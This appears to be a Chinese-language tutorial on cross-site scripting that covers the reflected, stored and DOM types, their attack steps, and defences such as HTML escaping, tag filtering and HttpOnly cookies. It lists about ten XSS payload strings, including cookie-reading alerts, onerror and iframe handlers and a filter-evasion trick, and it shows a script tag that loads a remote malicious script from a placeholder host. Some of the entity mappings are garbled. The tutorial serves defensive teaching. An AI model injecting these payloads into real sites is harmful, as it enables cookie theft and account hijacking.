一. XSS是什么
XSS攻击全称跨站脚本攻击(Cross Site Scripting),是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,XSS是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。“XSS本质是在于执行脚本(javascript/html等),而一个javascript就可以让你黑遍整个世界”。
二. XSS的危害
- 盗取用户Cookie。
- DOS(拒绝服务)客户端浏览器。
- 钓鱼攻击,高级的钓鱼技巧。
- 删除目标文章、恶意篡改数据、嫁祸。
- 劫持用户Web行为,甚至进一步渗透内网。
- 爆发Web2.0蠕虫。
- 蠕虫式的DDoS攻击。
- 蠕虫式挂马攻击、刷广告、刷浏量、破坏网上数据
- 其它安全问题
三.XSS的分类
XSS分为反射型,存储型和DOM型。
(1)
反射型 XSS :
用户在页面输入框中输入数据,通过 get 或者 post 方法向服务器端传递数据,输入的数据一般是放在 URL 的 query string 中,或者是 form 表单中,如果服务端没有对这些数据进行过滤、验证或者编码,直接将用户输入的数据呈现出来,就可能会造成反射型 XSS。反射型 XSS 是非常普遍的,其危害程度通常较小,但是某些反射型 XSS 还是会造成严重后果的。 通常通过构造一个包含 XSS 代码的 URL,诱导用户点击链接,触发 XSS 代码,达到劫持访问、获取 cookies 的目的。
发出请求时,XSS代码出现在URL中,作为输入提交到服务器端,服务器端解析后响应,XSS代码随响应内容一起传回给浏览器,最后浏览器解析执行XSS代码。这个过程像一次反射,故叫反射型XSS。
攻击步骤:
1.攻击者构造出特殊的 URL,其中包含恶意代码。
2.用户打开带有恶意代码的 URL 时,网站服务端将恶意代码从 URL 中取出,拼接在 HTML 中返回给浏览器。
3.用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。
4.恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。
反射型 XSS 跟存储型 XSS 的区别是:存储型 XSS 的恶意代码存在数据库里,反射型 XSS 的恶意代码存在 URL 里。
反射型 XSS 漏洞常见于通过 URL 传递参数的功能,如网站搜索、跳转等。
由于需要用户主动打开恶意的 URL 才能生效,攻击者往往会结合多种手段诱导用户点击。
POST 的内容也可以触发反射型 XSS,只不过其触发条件比较苛刻(需要构造表单提交页面,并引导用户点击),所以非常少见。
(2)
存储型XSS:
存储型XSS和反射型XSS的差别仅在于,提交的代码会存储在服务器端(数据库,内存,文件系统等),下次请求目标页面时不用再提交XSS代码
最典型的例子是留言板XSS,用户提交一条包含XSS代码的留言存储到数据库,目标用户查看留言板时,那些留言的内容会从数据库查询出来并显示,浏览器发现有XSS代码,就当做正常的HTML与Js解析执行,于是触发了XSS攻击。
攻击步骤:
1.攻击者将恶意代码提交到目标网站的数据库中。
2.用户打开目标网站时,网站服务端将恶意代码从数据库取出,拼接在 HTML 中返回给浏览器。
3.用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。
4.恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。
这种攻击常见于带有用户保存数据的网站功能,如论坛发帖、商品评论、用户私信等。
(3)
DOM型:
DOM 是一个树形结构,我们可以通过写 js 代码来修改节点,对象和值。DOM XSS 简单理解就是它的输出点在 DOM 。XSS 代码可能是插入简单的<script src="https://test.com/haker.js">
,载入第三方的恶意脚本,这些恶意脚本,通常是读取用户的 cookie 。
DOM XSS和反射型XSS、存储型XSS的差别在于DOM XSS的代码并不需要服务器参与,触发XSS靠的是浏览器端的DOM解析,完全是客户端的事情。
攻击步骤:
1.攻击者构造出特殊的 URL,其中包含恶意代码。
2.用户打开带有恶意代码的 URL。
3.用户浏览器接收到响应后解析执行,前端 JavaScript 取出 URL 中的恶意代码并执行。
4.恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。
DOM 型 XSS 跟前两种 XSS 的区别:DOM 型 XSS 攻击中,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript 自身的安全漏洞,而其他两种 XSS 都属于服务端的安全漏洞。
四.常见的XSS攻击方式
(1)<script>alert('XSS')</script> 最普通的XSS
(2)<script>alert(document.cookie)</script> 获取cookie
(3) <img src ="javascript:alert('XSS')"> img链接地址xss
(4) <script src='ls.js'></script> 外部攻击代码
(5) <script>alert/*注释*/('XSS')</script> 注释方法防止过滤
(6) <img src = ' ' οnerrοr=alert('XSS')> 加载图像失败执行
(7) <iframe onload = alert('XSS')> 框架
(8) <script>location = 'baidu.com';</script> 跳转某页面
(9) <a href ="javascript:alert('XSS')"></a> a链接的xss
(10) body{bockground-image:url(javascript:alert('XSS'))} 在css样式中加入
五.防御方法
以我之前的一个简单留言板作为示例:
每次打开打开这个页面都会弹出这个alert。这种XSS攻击为存储型 ,那需要怎样预防呢?
1. 转义HTML
php有内置的方法:
htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。
预定义的字符是:
- & (和号)成为 &
- " (双引号)成为 "
- ' (单引号)成为 N/A
- < (小于)成为 <
- > (大于)成为 >>
在代码中加入第二行就可以啦
$messcontent = $_POST['mescontent'];
$messcontent = htmlspecialchars($messcontent);
然后会出现报错,不会出现XSS攻击。
<script>alert('XSS')</script> 已经被htmlspecialchars()转换成 <script>alert(/XSS/)<script>
2.纯前端渲染
纯前端渲染的过程:
1.浏览器先加载一个静态 HTML,此 HTML 中不包含任何跟业务相关的数据。
2.然后浏览器执行 HTML 中的 JavaScript。
3.JavaScript 通过 Ajax 加载业务数据,调用 DOM API 更新到页面上。
在纯前端渲染中,我们会明确的告诉浏览器:下面要设置的内容是文本(.innerText
),还是属性(.setAttribute
),还是样式(.style
)等等。浏览器不会被轻易的被欺骗,执行预期外的代码了。
但纯前端渲染还需注意避免 DOM 型 XSS 漏洞(例如 onload
事件和 href
中的 javascript:xxx
等,请参考下文”预防 DOM 型 XSS 攻击“部分)。
在很多内部、管理系统中,采用纯前端渲染是非常合适的。但对于性能要求高,或有 SEO 需求的页面,我们仍然要面对拼接 HTML 的问题。
3.预防 DOM 型 XSS 攻击
DOM 型 XSS 攻击,实际上就是网站前端 JavaScript 代码本身不够严谨,把不可信的数据当作代码执行了。
在使用 .innerHTML
、.outerHTML
、document.write()
时要特别小心,不要把不可信的数据作为 HTML 插到页面上,而应尽量使用 .textContent
、.setAttribute()
等。
如果用 Vue/React 技术栈,并且不使用 v-html
/dangerouslySetInnerHTML
功能,就在前端 render 阶段避免 innerHTML
、outerHTML
的 XSS 隐患。
DOM 中的内联事件监听器,如 location
、onclick
、onerror
、onload
、onmouseover
等,<a>
标签的 href
属性,JavaScript 的 eval()
、setTimeout()
、setInterval()
等,都能把字符串作为代码运行。如果不可信的数据拼接到字符串中传递给这些 API,很容易产生安全隐患,请务必避免。
4.输入内容长度控制
对于不受信任的输入,都应该限定一个合理的长度。虽然无法完全防止 XSS 发生,但可以增加 XSS 攻击的难度。
5.对用户输入数据的处理
- 编码:不能对用户输入的内容都保持原样,对用户输入的数据进行字符实体编码。对于字符实体的概念可以参考文章底部给出的参考链接。
- 解码:原样显示内容的时候必须解码,不然显示不到内容了。
- 过滤:把输入的一些不合法的东西都过滤掉,从而保证安全性。如移除用户上传的DOM属性,如onerror,移除用户上传的Style节点,iframe, script节点等。
通过一个例子讲解一下如何处理用户输入的数据。
实现原理如下:
- 存在一个parse函数,对输入的数据进行处理,返回处理之后的数据
- 对输入的数据(如DOM节点)进行解码(使用第三方库 he.js)
- 过滤掉一些元素有危害的元素节点与属性节点。如script标签,onerror事件等。(使用第三方库HTMLParser.js)
<script src='/javascripts/htmlparse.js'></script>
<script src='/javascripts/he.js'></script>
// 第三方库资源在文章底部给出// parse函数实现如下function parse (str) {// str假如为某个DOM字符串// 1. result为处理之后的DOM节点let result = ''// 2. 解码let decode = he.unescape(str, {strict: true})HTMLParser(decode, {start (tag, attrs, unary) {// 3. 过滤常见危险的标签if (tag === 'script' || tag === 'img' || tag === 'link' || tag === 'style' || tag === 'iframe' || tag === 'frame') returnresult += `<${tag}`for (let i = 0; i < attrs.length; i++) {let name = (attrs[i].name).toLowerCase()let value = attrs[i].escaped// 3. 过滤掉危险的style属性和js事件if (name === 'style' || name === 'href' || name === 'src' || ~name.indexOf('on')) continueresult += ` ${name}=${value}`}result += `${unary ? ' /' : ''} >`},chars (text) {result += text},comment (text) {result += `<!-- ${text} -->`},end (tag) {result += `</${tag}>`}})return result}
因此,有了以上的parse函数之后,就可以避免大部分的xss攻击了。
稍微总结一下
- 一旦在DOM解析过程成出现不在预期内的改变(JS代码执行或样式大量变化时),就可能发生XSS攻击
- XSS分为反射型XSS,存储型XSS和DOM XSS
- 反射型XSS是在将XSS代码放在URL中,将参数提交到服务器。服务器解析后响应,在响应结果中存在XSS代码,最终通过浏览器解析执行。
- 存储型XSS是将XSS代码存储到服务端(数据库、内存、文件系统等),在下次请求同一个页面时就不需要带上XSS代码了,而是从服务器读取。
- DOM XSS的发生主要是在JS中使用eval造成的,所以应当避免使用eval语句。
- XSS危害有盗取用户cookie,通过JS或CSS改变样式,DDos造成正常用户无法得到服务器响应。
- XSS代码的预防主要通过对数据解码,再过滤掉危险标签、属性和事件等。
6.其他安全措施
HTTP-only Cookie: 禁止 JavaScript 读取某些敏感 Cookie,攻击者完成 XSS 注入后也无法窃取此 Cookie。
验证码:防止脚本冒充用户提交危险操作。